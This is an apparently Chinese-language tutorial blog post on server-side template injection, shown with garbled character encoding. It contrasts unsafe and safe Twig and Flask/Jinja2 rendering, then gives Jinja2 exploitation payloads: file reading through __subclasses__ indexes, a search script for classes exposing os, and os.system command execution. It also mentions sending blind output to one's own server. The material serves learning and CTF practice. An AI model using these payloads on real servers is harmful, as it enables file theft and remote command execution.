SSTI(模板注入)基礎(chǔ)總結(jié)

SSTI基礎(chǔ)

SSTI:Server Side Template Injection,服務(wù)端模板注入。

因?yàn)樽髡咭彩鞘状螌W(xué)習(xí)此知識(shí)點(diǎn),所有講解可能會(huì)有些啰嗦,教程大概沒(méi)有了解過(guò)模板的開(kāi)發(fā)方式和模板注入的同學(xué)也可以聽(tīng)懂。

主要內(nèi)容:

  • 模板是什么

  • 模板注入原理

  • Flask的介紹和利用

更新了一些題目,可供練手用。

原理

模板是什么

模板可以理解為一段固定好格式,等著你來(lái)填充信息的文件。通過(guò)這種方法,可以做到邏輯與視圖分離,更容易、清楚且相對(duì)安全地編寫(xiě)前后端不同的邏輯。作為對(duì)比,一個(gè)很不好的解決方法是用腳本語(yǔ)言的字符串拼接html,然后統(tǒng)一輸出。

這是一個(gè)模板的例子:

<!--login.tpl-->
<html>
    <head>
        <title>{{title}}</title>
    </head>
    <body>
        <form method="{{method}}",action={{action}}>
            <input type="text" name="user" value="{{username}}">
        </form>
        <p>
            This page took {{microtime(true) - time}} seconds to render.
        </p>
    </body>
</html>

對(duì)應(yīng)的后端代碼邏輯可以是:

$templateEngine = new TemplateEngine();
$tpl = $templateEngine->loadFile(login.tpl);
$tpl->assign('title','Login');
$tpl->assign('method','post');
$tpl->assign('action','login.php');
$tpl->assign('username',getUserNameFromCookie());
$tpl->assign('time',microtime(true));
$tmp->show();

模板注入基本原理

如果用戶輸入作為【模板當(dāng)中變量 的值】,模板引擎一般會(huì)對(duì)用戶輸入進(jìn)行編碼轉(zhuǎn)義,不容易造成XSS攻擊。

<?php
    require_once(dirname(__FILE__).'/../lib/Twig/Autoloader.php');
    Twig_Autoloader::register(true);
    $twig = new Twig_Environment(new Twig_Loader_String());
    $output = $twig->render("Hello {{name}}", array("name" =>$_GET["name"]));  // 將用戶輸入作為模版變量的值
    echo $output;
?>

這段代碼輸入<script>alert(1)</script>會(huì)原樣輸出,因?yàn)檫M(jìn)行了HTML實(shí)體編碼。

但是如果用戶輸入作為了【模板內(nèi)容 的一部分】,用戶輸入會(huì)原樣輸出。

<?php
    require_once(dirname(__FILE__).'/../lib/Twig/Autoloader.php');
    Twig_Autoloader::register(true);
    $twig = new Twig_Environment(new Twig_Loader_String());
    $output = $twig->render("Hello {$_GET['name']}"); // 將用戶輸入作為模版內(nèi)容的一部分
    echo $output;
?>

這段代碼輸入&lt;script&gt;alert(1)&lt;/script&gt;會(huì)造成XSS漏洞。

如果輸入Vuln{%23 comment %23}{{2*8}},會(huì)執(zhí)行2*8這個(gè)語(yǔ)句,輸出Hello Vuln16。因?yàn)榻?jīng)過(guò)渲染后,模板變成了Hello Vuln{# comment #}{{2\*8}}。

不同的模板會(huì)有不同的語(yǔ)法,一般使用Detect-Identify-Expoit的利用流程。

識(shí)別不同模板

模板基礎(chǔ)與利用方法

A.Python-Flask

它使用Jinja2作為渲染引擎

Jinja2.10.x Documention

a.路由

通過(guò)@的注解方式,將資源和函數(shù)對(duì)應(yīng)起來(lái)。

from flask import flask 
@app.route('/index/')
def hello_word():
    return 'hello word'

app.route裝飾器作用是把函數(shù)和URL綁定。

也就是說(shuō),訪問(wèn)http://host:port/index的時(shí)候,flask會(huì)返回HelloWorld。

b.渲染

渲染的方法有render_templaterender_template_string兩種。

render_template()是用來(lái)渲染一個(gè)指定的文件的

return render_template('index.html')

render_template_string則是用來(lái)渲染一個(gè)字符串的

html = '<h1>This is index page</h1>'
return render_template_string(html)

c.模板使用

文件結(jié)構(gòu):在網(wǎng)站根目錄下新建templates文件夾,存放html的模板文件。

Flask使用Jinja2這個(gè)渲染引擎,它是以{{}}作為變量包裹的標(biāo)識(shí)符。同時(shí),這個(gè)符號(hào)包裹內(nèi)還可以執(zhí)行一些簡(jiǎn)單的表達(dá)式。

模板的使用:示例

<!--/templates/index.html-->
<h1>{{content}}</h1>
#test.py
from flask import *
@app.route('/index/')
def user_login():
    return render_template('index.html',content='This is index page.')

模板的不安全使用:示例

@app.route('/test/')
def test():
    code = request.args.get('id')
    html = '''
        <h3>%s</h3>
    '''%(code)
    return render_template_string(html)

這里直接將用戶輸入作為了模板,不會(huì)經(jīng)過(guò)轉(zhuǎn)義和過(guò)濾的步驟,很容易XSS。

模板的安全使用:示例

@app.route('/test/')
def test():
    code = request.args.get('id')
    return render_template_string('<h1>{{ code }}</h1>',code=code)

模板引擎會(huì)對(duì)輸入變量進(jìn)行編碼轉(zhuǎn)義。

d.利用方法

首先,F(xiàn)lask中有一些全局變量,例如:

{{config}}
{{requests.environ}}

主要是通過(guò)Python對(duì)象的繼承,用魔術(shù)方法一步步找到可利用的方法去執(zhí)行。即找到父類<type 'object'>–>尋找子類–>找關(guān)于命令執(zhí)行或者文件操作的模塊。

對(duì)象的魔術(shù)方法:

__class__  返回類型所屬的對(duì)象
__mro__    返回一個(gè)包含對(duì)象所繼承的基類元組,方法在解析時(shí)按照元組的順序解析。
__base__   返回該對(duì)象所繼承的基類
// __base__和__mro__都是用來(lái)尋找基類的

__subclasses__   每個(gè)新類都保留了子類的引用,這個(gè)方法返回一個(gè)類中仍然可用的的引用的列表
__init__  類的初始化方法
__globals__  對(duì)包含函數(shù)全局變量的字典的引用

下面簡(jiǎn)單解釋一下利用過(guò)程

文件讀取
#獲取''字符串的所屬對(duì)象
>>> ''.__class__
<class 'str'>

#獲取str類的父類
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)

#獲取object類的所有子類
>>> ''.__class__.__mro__[1].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>...
#有很多類,后面省略

現(xiàn)在只需要從這些類中尋找需要的類,用數(shù)組下標(biāo)獲取,然后執(zhí)行該類中想要執(zhí)行的函數(shù)即可。比如第41個(gè)類是file類,就可以構(gòu)造利用:

''.__class__.__mro__[2].__subclasses__()[40]('<File_To_Read>').read()

再比如,如果沒(méi)有file類,使用類<class '_frozen_importlib_external.FileLoader'>,可以進(jìn)行文件的讀取。這里是第91個(gè)類。

''.__class__.__mro__[2].__subclasses__()[91].get_data(0,"<file_To_Read>")
命令執(zhí)行

首先通過(guò)腳本找到包含os模塊的類。

num = 0
for item in ''.__class__.__mro__[1].__subclasses__():
    try:
         if 'os' in item.__init__.__globals__:
             print (num,item)
         num+=1
    except:
        print ('-')
        num+=1

假設(shè)輸出為x編號(hào)的類,則可以構(gòu)造

''.__class__.__mro__[1].__subclasses__()[x].__init__.__globals__['os'].system('ls')

命令執(zhí)行的結(jié)果如果不能直接看到,可以考慮通過(guò)curl工具發(fā)送到自己的VPS,或者使用CEYE平臺(tái)。

執(zhí)行腳本發(fā)現(xiàn),包含os模塊的類:

<class 'site._Printer'>
<class 'site.Quitter'>

其他函數(shù)的利用同理。

e.練習(xí)題目

攻防世界:Web_python_template_injection ,F(xiàn)lask模板注入板子題,上述知識(shí)即可解決。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容